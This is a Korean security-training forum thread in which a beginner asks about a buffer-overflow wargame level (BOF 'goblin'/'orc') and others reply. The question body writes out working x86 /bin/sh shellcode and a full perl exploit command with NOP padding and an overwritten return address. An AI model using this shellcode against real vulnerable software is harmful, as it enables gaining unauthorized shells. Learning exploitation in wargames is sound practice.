시스템 해킹

 1576, 1/79 회원가입  로그인  
   garbage0192
   BOF 원정대 goblin(level 4) 질문입니다!

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1661 [복사]


안녕하세요. BOF 원정대 풀고 있는 초보입니다.
오늘 하루종일 이 문제에 메달렸었습니다.
풀긴 했는데 이해가 안 가는 것이 있어서 여쭈어봅니다.

제가 사용했던 쉘코드는 다음과 같습니다.
\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80

이 쉘코드가 27 바이트짜리라서 다음과 같이 버퍼를 씌웠습니다.
쉘코드(27 바이트) + NOP(17 바이트) + RET(4 바이트)
RET는 buffer의 주소가 되도록 했고요. 이는 orc.c 을 복사해서 buffer 위치를 출력하는 코드를 추가해서 구했습니다.

그래서 다음과 같이 실행했더니
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`

Segmentation fault 가 떴습니다.

첫번째 질문은 여기서 왜 저 에러가 떴는가입니다.

아까 orc.c 을 복사하고 새로 컴파일을 했다고 했는데 그 파일 이름이 orc1 입니다.
두번째 질문은
[goblin@localhost goblin]$ ./orc1 `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`
을 실행하면 goblin 권한으로지만 쉘코드가 작동해서 쉘이 뜬다는 것입니다.
왜 orc1에서는 되고 orc에서는 안 될까요?

감사합니다.

  Hit : 3577     Date : 2013/04/05 12:22



    
garbage0192 아 그리고 문제를 해결할 때는 NOP(44 바이트) + RET(4 바이트) + 쉘코드(27 바이트) 로 해서 해결했는데 이 경우는 또 왜 되는건가요?
해결을 했는데도 아는 것 없이 문제를 풀었네요..
2013/04/05  
cd80 프로그램명의 길이는 메모리상 쉘코드의 위치에 영향을 미칩니다
cp orc orc1 로 하지마시고 ln -s orc orc1 로 해보신후
성공하신 ./orc1 `perl ~~~~~~ ` 을 다시 해보시면 되실것 같습ㄴ디ㅏ
2013/04/05  
garbage0192 //cd
감사합니다. 말씀하신대로 하니까 되네요.
근데 또 궁금한게 프로그램명 길이는 어떻게 쉘코드 위치에 영향을 미치나요?
혹시 읽어볼만한 문서라도 있을까요?
2013/04/05  
qkrwncks593 bash2 로 실행하셨나요? 2013/06/01